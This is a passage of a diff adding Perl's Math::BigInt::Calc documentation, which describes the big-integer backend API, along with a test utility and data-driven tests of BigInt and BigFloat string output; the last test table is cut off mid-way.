+ if $e >= $BASE;
+
+ return "Element at index $i (last element) is zero"
+ if $#$x > 0 && $i == $#$x && $e == 0;
+ }
+
+ return 0;
+}
+
+##############################################################################
+##############################################################################
+
+1;
+
+__END__
+
+=pod
+
+=head1 NAME
+
+Math::BigInt::Calc - Pure Perl module to support Math::BigInt
+
+=head1 SYNOPSIS
+
+This library provides support for big integer calculations. It is not
+intended to be used by other modules. Other modules which support the same
+API (see below) can also be used to support Math::BigInt, like
+Math::BigInt::GMP and Math::BigInt::Pari.
+
+=head1 DESCRIPTION
+
+In this library, the numbers are represented in base B = 10**N, where N is
+the largest possible value that does not cause overflow in the intermediate
+computations. The base B elements are stored in an array, with the least
+significant element stored in array element zero. There are no leading zero
+elements, except a single zero element when the number is zero.
+
+For instance, if B = 10000, the number 1234567890 is represented internally
+as [3456, 7890, 12].
+
+=head1 THE Math::BigInt API
+
+In order to allow for multiple big integer libraries, Math::BigInt was
+rewritten to use a plug-in library for core math routines. Any module which
+conforms to the API can be used by Math::BigInt by using this in your program:
+
+ use Math::BigInt lib => 'libname';
+
+'libname' is either the long name, like 'Math::BigInt::Pari', or only the short
+version, like 'Pari'.
+
+=head2 General Notes
+
+A library only needs to deal with unsigned big integers. Testing of input
+parameter validity is done by the caller, so there is no need to worry about
+underflow (e.g., in C<_sub()> and C<_dec()>) nor about division by zero (e.g.,
+in C<_div()>) or similar cases.
+
+For some methods, the first parameter can be modified. That includes the
+possibility that you return a reference to a completely different object
+instead. Although keeping the reference and just changing its contents is
+preferred over creating and returning a different reference.
+
+Return values are always objects, strings, Perl scalars, or true/false for
+comparison routines.
+
+=head2 API version 1
+
+The following methods must be defined in order to support the use by
+Math::BigInt v1.70 or later.
+
+=head3 API version
+
+=over 4
+
+=item I<api_version()>
+
+Return API version as a Perl scalar, 1 for Math::BigInt v1.70, 2 for
+Math::BigInt v1.83.
+
+=back
+
+=head3 Constructors
+
+=over 4
+
+=item I<_new(STR)>
+
+Convert a string representing an unsigned decimal number to an object
+representing the same number. The input is normalize, i.e., it matches
+C<^(0|[1-9]\d*)$>.
+
+=item I<_zero()>
+
+Return an object representing the number zero.
+
+=item I<_one()>
+
+Return an object representing the number one.
+
+=item I<_two()>
+
+Return an object representing the number two.
+
+=item I<_ten()>
+
+Return an object representing the number ten.
+
+=item I<_from_bin(STR)>
+
+Return an object given a string representing a binary number. The input has a
+'0b' prefix and matches the regular expression C<^0[bB](0|1[01]*)$>.
+
+=item I<_from_oct(STR)>
+
+Return an object given a string representing an octal number. The input has a
+'0' prefix and matches the regular expression C<^0[1-7]*$>.
+
+=item I<_from_hex(STR)>
+
+Return an object given a string representing a hexadecimal number. The input
+has a '0x' prefix and matches the regular expression
+C<^0x(0|[1-9a-fA-F][\da-fA-F]*)$>.
+
+=back
+
+=head3 Mathematical functions
+
+Each of these methods may modify the first input argument, except I<_bgcd()>,
+which shall not modify any input argument, and I<_sub()> which may modify the
+second input argument.
+
+=over 4
+
+=item I<_add(OBJ1, OBJ2)>
+
+Returns the result of adding OBJ2 to OBJ1.
+
+=item I<_mul(OBJ1, OBJ2)>
+
+Returns the result of multiplying OBJ2 and OBJ1.
+
+=item I<_div(OBJ1, OBJ2)>
+
+Returns the result of dividing OBJ1 by OBJ2 and truncating the result to an
+integer.
+
+=item I<_sub(OBJ1, OBJ2, FLAG)>
+
+=item I<_sub(OBJ1, OBJ2)>
+
+Returns the result of subtracting OBJ2 by OBJ1. If C<flag> is false or omitted,
+OBJ1 might be modified. If C<flag> is true, OBJ2 might be modified.
+
+=item I<_dec(OBJ)>
+
+Decrement OBJ by one.
+
+=item I<_inc(OBJ)>
+
+Increment OBJ by one.
+
+=item I<_mod(OBJ1, OBJ2)>
+
+Return OBJ1 modulo OBJ2, i.e., the remainder after dividing OBJ1 by OBJ2.
+
+=item I<_sqrt(OBJ)>
+
+Return the square root of the object, truncated to integer.
+
+=item I<_root(OBJ, N)>
+
+Return Nth root of the object, truncated to int. N is E<gt>= 3.
+
+=item I<_fac(OBJ)>
+
+Return factorial of object (1*2*3*4*...).
+
+=item I<_pow(OBJ1, OBJ2)>
+
+Return OBJ1 to the power of OBJ2. By convention, 0**0 = 1.
+
+=item I<_modinv(OBJ1, OBJ2)>
+
+Return modular multiplicative inverse, i.e., return OBJ3 so that
+
+ (OBJ3 * OBJ1) % OBJ2 = 1 % OBJ2
+
+The result is returned as two arguments. If the modular multiplicative
+inverse does not exist, both arguments are undefined. Otherwise, the
+arguments are a number (object) and its sign ("+" or "-").
+
+The output value, with its sign, must either be a positive value in the
+range 1,2,...,OBJ2-1 or the same value subtracted OBJ2. For instance, if the
+input arguments are objects representing the numbers 7 and 5, the method
+must either return an object representing the number 3 and a "+" sign, since
+(3*7) % 5 = 1 % 5, or an object representing the number 2 and "-" sign,
+since (-2*7) % 5 = 1 % 5.
+
+=item I<_modpow(OBJ1, OBJ2, OBJ3)>
+
+Return modular exponentiation, (OBJ1 ** OBJ2) % OBJ3.
+
+=item I<_rsft(OBJ, N, B)>
+
+Shift object N digits right in base B and return the resulting object. This is
+equivalent to performing integer division by B**N and discarding the remainder,
+except that it might be much faster, depending on how the number is represented
+internally.
+
+For instance, if the object $obj represents the hexadecimal number 0xabcde,
+then C<$obj->_rsft(2, 16)> returns an object representing the number 0xabc. The
+"remainer", 0xde, is discarded and not returned.
+
+=item I<_lsft(OBJ, N, B)>
+
+Shift the object N digits left in base B. This is equivalent to multiplying by
+B**N, except that it might be much faster, depending on how the number is
+represented internally.
+
+=item I<_log_int(OBJ, B)>
+
+Return integer log of OBJ to base BASE. This method has two output arguments,
+the OBJECT and a STATUS. The STATUS is Perl scalar; it is 1 if OBJ is the exact
+result, 0 if the result was truncted to give OBJ, and undef if it is unknown
+whether OBJ is the exact result.
+
+=item I<_gcd(OBJ1, OBJ2)>
+
+Return the greatest common divisor of OBJ1 and OBJ2.
+
+=back
+
+=head3 Bitwise operators
+
+Each of these methods may modify the first input argument.
+
+=over 4
+
+=item I<_and(OBJ1, OBJ2)>
+
+Return bitwise and. If necessary, the smallest number is padded with leading
+zeros.
+
+=item I<_or(OBJ1, OBJ2)>
+
+Return bitwise or. If necessary, the smallest number is padded with leading
+zeros.
+
+=item I<_xor(OBJ1, OBJ2)>
+
+Return bitwise exclusive or. If necessary, the smallest number is padded
+with leading zeros.
+
+=back
+
+=head3 Boolean operators
+
+=over 4
+
+=item I<_is_zero(OBJ)>
+
+Returns a true value if OBJ is zero, and false value otherwise.
+
+=item I<_is_one(OBJ)>
+
+Returns a true value if OBJ is one, and false value otherwise.
+
+=item I<_is_two(OBJ)>
+
+Returns a true value if OBJ is two, and false value otherwise.
+
+=item I<_is_ten(OBJ)>
+
+Returns a true value if OBJ is ten, and false value otherwise.
+
+=item I<_is_even(OBJ)>
+
+Return a true value if OBJ is an even integer, and a false value otherwise.
+
+=item I<_is_odd(OBJ)>
+
+Return a true value if OBJ is an even integer, and a false value otherwise.
+
+=item I<_acmp(OBJ1, OBJ2)>
+
+Compare OBJ1 and OBJ2 and return -1, 0, or 1, if OBJ1 is less than, equal
+to, or larger than OBJ2, respectively.
+
+=back
+
+=head3 String conversion
+
+=over 4
+
+=item I<_str(OBJ)>
+
+Return a string representing the object. The returned string should have no
+leading zeros, i.e., it should match C<^(0|[1-9]\d*)$>.
+
+=item I<_as_bin(OBJ)>
+
+Return the binary string representation of the number. The string must have a
+'0b' prefix.
+
+=item I<_as_oct(OBJ)>
+
+Return the octal string representation of the number. The string must have
+a '0x' prefix.
+
+Note: This method was required from Math::BigInt version 1.78, but the required
+API version number was not incremented, so there are older libraries that
+support API version 1, but do not support C<_as_oct()>.
+
+=item I<_as_hex(OBJ)>
+
+Return the hexadecimal string representation of the number. The string must
+have a '0x' prefix.
+
+=back
+
+=head3 Numeric conversion
+
+=over 4
+
+=item I<_num(OBJ)>
+
+Given an object, return a Perl scalar number (int/float) representing this
+number.
+
+=back
+
+=head3 Miscellaneous
+
+=over 4
+
+=item I<_copy(OBJ)>
+
+Return a true copy of the object.
+
+=item I<_len(OBJ)>
+
+Returns the number of the decimal digits in the number. The output is a
+Perl scalar.
+
+=item I<_zeros(OBJ)>
+
+Return the number of trailing decimal zeros. The output is a Perl scalar.
+
+=item I<_digit(OBJ, N)>
+
+Return the Nth digit as a Perl scalar. N is a Perl scalar, where zero refers to
+the rightmost (least significant) digit, and negative values count from the
+left (most significant digit). If $obj represents the number 123, then
+I<$obj->_digit(0)> is 3 and I<_digit(123, -1)> is 1.
+
+=item I<_check(OBJ)>
+
+Return a true value if the object is OK, and a false value otherwise. This is a
+check routine to test the internal state of the object for corruption.
+
+=back
+
+=head2 API version 2
+
+The following methods are required for an API version of 2 or greater.
+
+=head3 Constructors
+
+=over 4
+
+=item I<_1ex(N)>
+
+Return an object representing the number 10**N where N E<gt>= 0 is a Perl
+scalar.
+
+=back
+
+=head3 Mathematical functions
+
+=over 4
+
+=item I<_nok(OBJ1, OBJ2)>
+
+Return the binomial coefficient OBJ1 over OBJ1.
+
+=back
+
+=head3 Miscellaneous
+
+=over 4
+
+=item I<_alen(OBJ)>
+
+Return the approximate number of decimal digits of the object. The output is
+one Perl scalar.
+
+=back
+
+=head2 API optional methods
+
+The following methods are optional, and can be defined if the underlying lib
+has a fast way to do them. If undefined, Math::BigInt will use pure Perl (hence
+slow) fallback routines to emulate these:
+
+=head3 Signed bitwise operators.
+
+Each of these methods may modify the first input argument.
+
+=over 4
+
+=item I<_signed_or(OBJ1, OBJ2, SIGN1, SIGN2)>
+
+Return the signed bitwise or.
+
+=item I<_signed_and(OBJ1, OBJ2, SIGN1, SIGN2)>
+
+Return the signed bitwise and.
+
+=item I<_signed_xor(OBJ1, OBJ2, SIGN1, SIGN2)>
+
+Return the signed bitwise exclusive or.
+
+=back
+
+=head1 WRAP YOUR OWN
+
+If you want to port your own favourite c-lib for big numbers to the
+Math::BigInt interface, you can take any of the already existing modules as a
+rough guideline. You should really wrap up the latest Math::BigInt and
+Math::BigFloat testsuites with your module, and replace in them any of the
+following:
+
+ use Math::BigInt;
+
+by this:
+
+ use Math::BigInt lib => 'yourlib';
+
+This way you ensure that your library really works 100% within Math::BigInt.
+
+=head1 BUGS
+
+Please report any bugs or feature requests to
+C<bug-math-bigint at rt.cpan.org>, or through the web interface at
+L<https://rt.cpan.org/Ticket/Create.html?Queue=Math-BigInt>
+(requires login).
+We will be notified, and then you'll automatically be notified of progress on
+your bug as I make changes.
+
+=head1 SUPPORT
+
+You can find documentation for this module with the perldoc command.
+
+ perldoc Math::BigInt::Calc
+
+You can also look for information at:
+
+=over 4
+
+=item * RT: CPAN's request tracker
+
+L<https://rt.cpan.org/Public/Dist/Display.html?Name=Math-BigInt>
+
+=item * AnnoCPAN: Annotated CPAN documentation
+
+L<http://annocpan.org/dist/Math-BigInt>
+
+=item * CPAN Ratings
+
+L<http://cpanratings.perl.org/dist/Math-BigInt>
+
+=item * Search CPAN
+
+L<http://search.cpan.org/dist/Math-BigInt/>
+
+=item * CPAN Testers Matrix
+
+L<http://matrix.cpantesters.org/?dist=Math-BigInt>
+
+=item * The Bignum mailing list
+
+=over 4
+
+=item * Post to mailing list
+
+C<bignum at lists.scsys.co.uk>
+
+=item * View mailing list
+
+L<http://lists.scsys.co.uk/pipermail/bignum/>
+
+=item * Subscribe/Unsubscribe
+
+L<http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/bignum>
+
+=back
+
+=back
+
+=head1 LICENSE
+
+This program is free software; you may redistribute it and/or modify it under
+the same terms as Perl itself.
+
+=head1 AUTHORS
+
+=over 4
+
+=item *
+
+Original math code by Mark Biggar, rewritten by Tels L<http://bloodgate.com/>
+in late 2000.
+
+=item *
+
+Separated from BigInt and shaped API with the help of John Peacock.
+
+=item *
+
+Fixed, speed-up, streamlined and enhanced by Tels 2001 - 2007.
+
+=item *
+
+API documentation corrected and extended by Peter John Acklam,
+E<lt>pjacklam@online.noE<gt>
+
+=back
+
+=head1 SEE ALSO
+
+L<Math::BigInt>, L<Math::BigFloat>, L<Math::BigInt::GMP>,
+L<Math::BigInt::FastCalc> and L<Math::BigInt::Pari>.
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/Math/BigInt/Lib/TestUtil.pm b/gnu/usr.bin/perl/cpan/Math-BigInt/t/Math/BigInt/Lib/TestUtil.pm
new file mode 100644
index 00000000000..cb24e25ac5d
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/Math/BigInt/Lib/TestUtil.pm
@@ -0,0 +1,39 @@
+#!perl
+
+package Math::BigInt::Lib::TestUtil;
+
+use strict;
+use warnings;
+
+use Exporter;
+
+our @ISA = qw< Exporter >;
+our @EXPORT_OK = qw< randstr >;
+
+# randstr NUM, BASE
+#
+# Generate a string representing a NUM digit number in base BASE.
+
+sub randstr {
+ die "randstr: wrong number of input arguments\n"
+ unless @_ == 2;
+
+ my $n = shift;
+ my $b = shift;
+
+ die "randstr: first input argument must be >= 0"
+ unless $n >= 0;
+ die "randstr: second input argument must be in the range 2 .. 36\n"
+ unless 2 <= $b && $b <= 36;
+
+ return '' if $n == 0;
+
+ my @dig = (0 .. 9, 'a' .. 'z');
+
+ my $str = $dig[ 1 + int rand ($b - 1) ];
+ $str .= $dig[ int rand $b ] for 2 .. $n;
+
+ return $str;
+}
+
+1;
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/bdstr-mbf.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/bdstr-mbf.t
new file mode 100644
index 00000000000..8b13bd44035
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/bdstr-mbf.t
@@ -0,0 +1,275 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 460;
+
+use Math::BigFloat;
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($x_str, $expected) = split /:/;
+ my ($x, $str);
+
+ my $test = qq|\$x = Math::BigFloat -> new("$x_str");|
+ . qq| \$str = \$x -> bdstr();|;
+
+ note "\n$test\n\n";
+ eval $test;
+
+ is($str, $expected, qq|input value is "$x_str"|);
+ is($x, $x_str, "input object is unmodified");
+}
+
+__DATA__
+
+NaN:NaN
+
+inf:inf
+-inf:-inf
+
+0:0
+
+# positive numbers
+
+0.000000000001:0.000000000001
+0.00000000001:0.00000000001
+0.0000000001:0.0000000001
+0.000000001:0.000000001
+0.00000001:0.00000001
+0.0000001:0.0000001
+0.000001:0.000001
+0.00001:0.00001
+0.0001:0.0001
+0.001:0.001
+0.01:0.01
+0.1:0.1
+1:1
+10:10
+100:100
+1000:1000
+10000:10000
+100000:100000
+1000000:1000000
+10000000:10000000
+100000000:100000000
+1000000000:1000000000
+10000000000:10000000000
+100000000000:100000000000
+1000000000000:1000000000000
+
+0.0000000000012:0.0000000000012
+0.000000000012:0.000000000012
+0.00000000012:0.00000000012
+0.0000000012:0.0000000012
+0.000000012:0.000000012
+0.00000012:0.00000012
+0.0000012:0.0000012
+0.000012:0.000012
+0.00012:0.00012
+0.0012:0.0012
+0.012:0.012
+0.12:0.12
+1.2:1.2
+12:12
+120:120
+1200:1200
+12000:12000
+120000:120000
+1200000:1200000
+12000000:12000000
+120000000:120000000
+1200000000:1200000000
+12000000000:12000000000
+120000000000:120000000000
+1200000000000:1200000000000
+
+0.00000000000123:0.00000000000123
+0.0000000000123:0.0000000000123
+0.000000000123:0.000000000123
+0.00000000123:0.00000000123
+0.0000000123:0.0000000123
+0.000000123:0.000000123
+0.00000123:0.00000123
+0.0000123:0.0000123
+0.000123:0.000123
+0.00123:0.00123
+0.0123:0.0123
+0.123:0.123
+1.23:1.23
+12.3:12.3
+123:123
+1230:1230
+12300:12300
+123000:123000
+1230000:1230000
+12300000:12300000
+123000000:123000000
+1230000000:1230000000
+12300000000:12300000000
+123000000000:123000000000
+1230000000000:1230000000000
+
+0.000000000001234:0.000000000001234
+0.00000000001234:0.00000000001234
+0.0000000001234:0.0000000001234
+0.000000001234:0.000000001234
+0.00000001234:0.00000001234
+0.0000001234:0.0000001234
+0.000001234:0.000001234
+0.00001234:0.00001234
+0.0001234:0.0001234
+0.001234:0.001234
+0.01234:0.01234
+0.1234:0.1234
+1.234:1.234
+12.34:12.34
+123.4:123.4
+1234:1234
+12340:12340
+123400:123400
+1234000:1234000
+12340000:12340000
+123400000:123400000
+1234000000:1234000000
+12340000000:12340000000
+123400000000:123400000000
+1234000000000:1234000000000
+
+0.000003141592:0.000003141592
+0.00003141592:0.00003141592
+0.0003141592:0.0003141592
+0.003141592:0.003141592
+0.03141592:0.03141592
+0.3141592:0.3141592
+3.141592:3.141592
+31.41592:31.41592
+314.1592:314.1592
+3141.592:3141.592
+31415.92:31415.92
+314159.2:314159.2
+3141592:3141592
+
+# negative numbers
+
+-0.000000000001:-0.000000000001
+-0.00000000001:-0.00000000001
+-0.0000000001:-0.0000000001
+-0.000000001:-0.000000001
+-0.00000001:-0.00000001
+-0.0000001:-0.0000001
+-0.000001:-0.000001
+-0.00001:-0.00001
+-0.0001:-0.0001
+-0.001:-0.001
+-0.01:-0.01
+-0.1:-0.1
+-1:-1
+-10:-10
+-100:-100
+-1000:-1000
+-10000:-10000
+-100000:-100000
+-1000000:-1000000
+-10000000:-10000000
+-100000000:-100000000
+-1000000000:-1000000000
+-10000000000:-10000000000
+-100000000000:-100000000000
+-1000000000000:-1000000000000
+
+-0.0000000000012:-0.0000000000012
+-0.000000000012:-0.000000000012
+-0.00000000012:-0.00000000012
+-0.0000000012:-0.0000000012
+-0.000000012:-0.000000012
+-0.00000012:-0.00000012
+-0.0000012:-0.0000012
+-0.000012:-0.000012
+-0.00012:-0.00012
+-0.0012:-0.0012
+-0.012:-0.012
+-0.12:-0.12
+-1.2:-1.2
+-12:-12
+-120:-120
+-1200:-1200
+-12000:-12000
+-120000:-120000
+-1200000:-1200000
+-12000000:-12000000
+-120000000:-120000000
+-1200000000:-1200000000
+-12000000000:-12000000000
+-120000000000:-120000000000
+-1200000000000:-1200000000000
+
+-0.00000000000123:-0.00000000000123
+-0.0000000000123:-0.0000000000123
+-0.000000000123:-0.000000000123
+-0.00000000123:-0.00000000123
+-0.0000000123:-0.0000000123
+-0.000000123:-0.000000123
+-0.00000123:-0.00000123
+-0.0000123:-0.0000123
+-0.000123:-0.000123
+-0.00123:-0.00123
+-0.0123:-0.0123
+-0.123:-0.123
+-1.23:-1.23
+-12.3:-12.3
+-123:-123
+-1230:-1230
+-12300:-12300
+-123000:-123000
+-1230000:-1230000
+-12300000:-12300000
+-123000000:-123000000
+-1230000000:-1230000000
+-12300000000:-12300000000
+-123000000000:-123000000000
+-1230000000000:-1230000000000
+
+-0.000000000001234:-0.000000000001234
+-0.00000000001234:-0.00000000001234
+-0.0000000001234:-0.0000000001234
+-0.000000001234:-0.000000001234
+-0.00000001234:-0.00000001234
+-0.0000001234:-0.0000001234
+-0.000001234:-0.000001234
+-0.00001234:-0.00001234
+-0.0001234:-0.0001234
+-0.001234:-0.001234
+-0.01234:-0.01234
+-0.1234:-0.1234
+-1.234:-1.234
+-12.34:-12.34
+-123.4:-123.4
+-1234:-1234
+-12340:-12340
+-123400:-123400
+-1234000:-1234000
+-12340000:-12340000
+-123400000:-123400000
+-1234000000:-1234000000
+-12340000000:-12340000000
+-123400000000:-123400000000
+-1234000000000:-1234000000000
+
+-0.000003141592:-0.000003141592
+-0.00003141592:-0.00003141592
+-0.0003141592:-0.0003141592
+-0.003141592:-0.003141592
+-0.03141592:-0.03141592
+-0.3141592:-0.3141592
+-3.141592:-3.141592
+-31.41592:-31.41592
+-314.1592:-314.1592
+-3141.592:-3141.592
+-31415.92:-31415.92
+-314159.2:-314159.2
+-3141592:-3141592
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/bdstr-mbi.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/bdstr-mbi.t
new file mode 100644
index 00000000000..d369ec9f8ff
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/bdstr-mbi.t
@@ -0,0 +1,155 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 220;
+
+use Math::BigInt;
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($x_str, $expected) = split /:/;
+ my ($x, $str);
+
+ my $test = qq|\$x = Math::BigInt -> new("$x_str");|
+ . qq| \$str = \$x -> bdstr();|;
+
+ note "\n$test\n\n";
+ eval $test;
+
+ is($str, $expected, qq|input value is "$x_str"|);
+ is($x, $x_str, "input object is unmodified");
+}
+
+__DATA__
+
+NaN:NaN
+
+inf:inf
+-inf:-inf
+
+0:0
+
+# positive numbers
+
+1:1
+10:10
+100:100
+1000:1000
+10000:10000
+100000:100000
+1000000:1000000
+10000000:10000000
+100000000:100000000
+1000000000:1000000000
+10000000000:10000000000
+100000000000:100000000000
+1000000000000:1000000000000
+
+12:12
+120:120
+1200:1200
+12000:12000
+120000:120000
+1200000:1200000
+12000000:12000000
+120000000:120000000
+1200000000:1200000000
+12000000000:12000000000
+120000000000:120000000000
+1200000000000:1200000000000
+
+123:123
+1230:1230
+12300:12300
+123000:123000
+1230000:1230000
+12300000:12300000
+123000000:123000000
+1230000000:1230000000
+12300000000:12300000000
+123000000000:123000000000
+1230000000000:1230000000000
+
+1234:1234
+12340:12340
+123400:123400
+1234000:1234000
+12340000:12340000
+123400000:123400000
+1234000000:1234000000
+12340000000:12340000000
+123400000000:123400000000
+1234000000000:1234000000000
+
+3:3
+31:31
+314:314
+3141:3141
+31415:31415
+314159:314159
+3141592:3141592
+
+# negative numbers
+
+-1:-1
+-10:-10
+-100:-100
+-1000:-1000
+-10000:-10000
+-100000:-100000
+-1000000:-1000000
+-10000000:-10000000
+-100000000:-100000000
+-1000000000:-1000000000
+-10000000000:-10000000000
+-100000000000:-100000000000
+-1000000000000:-1000000000000
+
+-12:-12
+-120:-120
+-1200:-1200
+-12000:-12000
+-120000:-120000
+-1200000:-1200000
+-12000000:-12000000
+-120000000:-120000000
+-1200000000:-1200000000
+-12000000000:-12000000000
+-120000000000:-120000000000
+-1200000000000:-1200000000000
+
+-123:-123
+-1230:-1230
+-12300:-12300
+-123000:-123000
+-1230000:-1230000
+-12300000:-12300000
+-123000000:-123000000
+-1230000000:-1230000000
+-12300000000:-12300000000
+-123000000000:-123000000000
+-1230000000000:-1230000000000
+
+-1234:-1234
+-12340:-12340
+-123400:-123400
+-1234000:-1234000
+-12340000:-12340000
+-123400000:-123400000
+-1234000000:-1234000000
+-12340000000:-12340000000
+-123400000000:-123400000000
+-1234000000000:-1234000000000
+
+-3:-3
+-31:-31
+-314:-314
+-3141:-3141
+-31415:-31415
+-314159:-314159
+-3141592:-3141592
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/bestr-mbf.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/bestr-mbf.t
new file mode 100644
index 00000000000..fcb11078b37
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/bestr-mbf.t
@@ -0,0 +1,275 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 460;
+
+use Math::BigFloat;
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($x_str, $expected) = split /:/;
+ my ($x, $str);
+
+ my $test = qq|\$x = Math::BigFloat -> new("$x_str");|
+ . qq| \$str = \$x -> bestr();|;
+
+ note "\n$test\n\n";
+ eval $test;
+
+ is($str, $expected, qq|input value is "$x_str"|);
+ is($x, $x_str, "input object is unmodified");
+}
+
+__DATA__
+
+NaN:NaN
+
+inf:inf
+-inf:-inf
+
+0:0e+0
+
+# positive numbers
+
+0.000000000001:1e-12
+0.00000000001:10e-12
+0.0000000001:100e-12
+0.000000001:1e-9
+0.00000001:10e-9
+0.0000001:100e-9
+0.000001:1e-6
+0.00001:10e-6
+0.0001:100e-6
+0.001:1e-3
+0.01:10e-3
+0.1:100e-3
+1:1e+0
+10:10e+0
+100:100e+0
+1000:1e+3
+10000:10e+3
+100000:100e+3
+1000000:1e+6
+10000000:10e+6
+100000000:100e+6
+1000000000:1e+9
+10000000000:10e+9
+100000000000:100e+9
+1000000000000:1e+12
+
+0.0000000000012:1.2e-12
+0.000000000012:12e-12
+0.00000000012:120e-12
+0.0000000012:1.2e-9
+0.000000012:12e-9
+0.00000012:120e-9
+0.0000012:1.2e-6
+0.000012:12e-6
+0.00012:120e-6
+0.0012:1.2e-3
+0.012:12e-3
+0.12:120e-3
+1.2:1.2e+0
+12:12e+0
+120:120e+0
+1200:1.2e+3
+12000:12e+3
+120000:120e+3
+1200000:1.2e+6
+12000000:12e+6
+120000000:120e+6
+1200000000:1.2e+9
+12000000000:12e+9
+120000000000:120e+9
+1200000000000:1.2e+12
+
+0.00000000000123:1.23e-12
+0.0000000000123:12.3e-12
+0.000000000123:123e-12
+0.00000000123:1.23e-9
+0.0000000123:12.3e-9
+0.000000123:123e-9
+0.00000123:1.23e-6
+0.0000123:12.3e-6
+0.000123:123e-6
+0.00123:1.23e-3
+0.0123:12.3e-3
+0.123:123e-3
+1.23:1.23e+0
+12.3:12.3e+0
+123:123e+0
+1230:1.23e+3
+12300:12.3e+3
+123000:123e+3
+1230000:1.23e+6
+12300000:12.3e+6
+123000000:123e+6
+1230000000:1.23e+9
+12300000000:12.3e+9
+123000000000:123e+9
+1230000000000:1.23e+12
+
+0.000000000001234:1.234e-12
+0.00000000001234:12.34e-12
+0.0000000001234:123.4e-12
+0.000000001234:1.234e-9
+0.00000001234:12.34e-9
+0.0000001234:123.4e-9
+0.000001234:1.234e-6
+0.00001234:12.34e-6
+0.0001234:123.4e-6
+0.001234:1.234e-3
+0.01234:12.34e-3
+0.1234:123.4e-3
+1.234:1.234e+0
+12.34:12.34e+0
+123.4:123.4e+0
+1234:1.234e+3
+12340:12.34e+3
+123400:123.4e+3
+1234000:1.234e+6
+12340000:12.34e+6
+123400000:123.4e+6
+1234000000:1.234e+9
+12340000000:12.34e+9
+123400000000:123.4e+9
+1234000000000:1.234e+12
+
+0.000003141592:3.141592e-6
+0.00003141592:31.41592e-6
+0.0003141592:314.1592e-6
+0.003141592:3.141592e-3
+0.03141592:31.41592e-3
+0.3141592:314.1592e-3
+3.141592:3.141592e+0
+31.41592:31.41592e+0
+314.1592:314.1592e+0
+3141.592:3.141592e+3
+31415.92:31.41592e+3
+314159.2:314.1592e+3
+3141592:3.141592e+6
+
+# negative numbers
+
+-0.000000000001:-1e-12
+-0.00000000001:-10e-12
+-0.0000000001:-100e-12
+-0.000000001:-1e-9
+-0.00000001:-10e-9
+-0.0000001:-100e-9
+-0.000001:-1e-6
+-0.00001:-10e-6
+-0.0001:-100e-6
+-0.001:-1e-3
+-0.01:-10e-3
+-0.1:-100e-3
+-1:-1e+0
+-10:-10e+0
+-100:-100e+0
+-1000:-1e+3
+-10000:-10e+3
+-100000:-100e+3
+-1000000:-1e+6
+-10000000:-10e+6
+-100000000:-100e+6
+-1000000000:-1e+9
+-10000000000:-10e+9
+-100000000000:-100e+9
+-1000000000000:-1e+12
+
+-0.0000000000012:-1.2e-12
+-0.000000000012:-12e-12
+-0.00000000012:-120e-12
+-0.0000000012:-1.2e-9
+-0.000000012:-12e-9
+-0.00000012:-120e-9
+-0.0000012:-1.2e-6
+-0.000012:-12e-6
+-0.00012:-120e-6
+-0.0012:-1.2e-3
+-0.012:-12e-3
+-0.12:-120e-3
+-1.2:-1.2e+0
+-12:-12e+0
+-120:-120e+0
+-1200:-1.2e+3
+-12000:-12e+3
+-120000:-120e+3
+-1200000:-1.2e+6
+-12000000:-12e+6
+-120000000:-120e+6
+-1200000000:-1.2e+9
+-12000000000:-12e+9
+-120000000000:-120e+9
+-1200000000000:-1.2e+12
+
+-0.00000000000123:-1.23e-12
+-0.0000000000123:-12.3e-12
+-0.000000000123:-123e-12
+-0.00000000123:-1.23e-9
+-0.0000000123:-12.3e-9
+-0.000000123:-123e-9
+-0.00000123:-1.23e-6
+-0.0000123:-12.3e-6
+-0.000123:-123e-6
+-0.00123:-1.23e-3
+-0.0123:-12.3e-3
+-0.123:-123e-3
+-1.23:-1.23e+0
+-12.3:-12.3e+0
+-123:-123e+0
+-1230:-1.23e+3
+-12300:-12.3e+3
+-123000:-123e+3
+-1230000:-1.23e+6
+-12300000:-12.3e+6
+-123000000:-123e+6
+-1230000000:-1.23e+9
+-12300000000:-12.3e+9
+-123000000000:-123e+9
+-1230000000000:-1.23e+12
+
+-0.000000000001234:-1.234e-12
+-0.00000000001234:-12.34e-12
+-0.0000000001234:-123.4e-12
+-0.000000001234:-1.234e-9
+-0.00000001234:-12.34e-9
+-0.0000001234:-123.4e-9
+-0.000001234:-1.234e-6
+-0.00001234:-12.34e-6
+-0.0001234:-123.4e-6
+-0.001234:-1.234e-3
+-0.01234:-12.34e-3
+-0.1234:-123.4e-3
+-1.234:-1.234e+0
+-12.34:-12.34e+0
+-123.4:-123.4e+0
+-1234:-1.234e+3
+-12340:-12.34e+3
+-123400:-123.4e+3
+-1234000:-1.234e+6
+-12340000:-12.34e+6
+-123400000:-123.4e+6
+-1234000000:-1.234e+9
+-12340000000:-12.34e+9
+-123400000000:-123.4e+9
+-1234000000000:-1.234e+12
+
+-0.000003141592:-3.141592e-6
+-0.00003141592:-31.41592e-6
+-0.0003141592:-314.1592e-6
+-0.003141592:-3.141592e-3
+-0.03141592:-31.41592e-3
+-0.3141592:-314.1592e-3
+-3.141592:-3.141592e+0
+-31.41592:-31.41592e+0
+-314.1592:-314.1592e+0
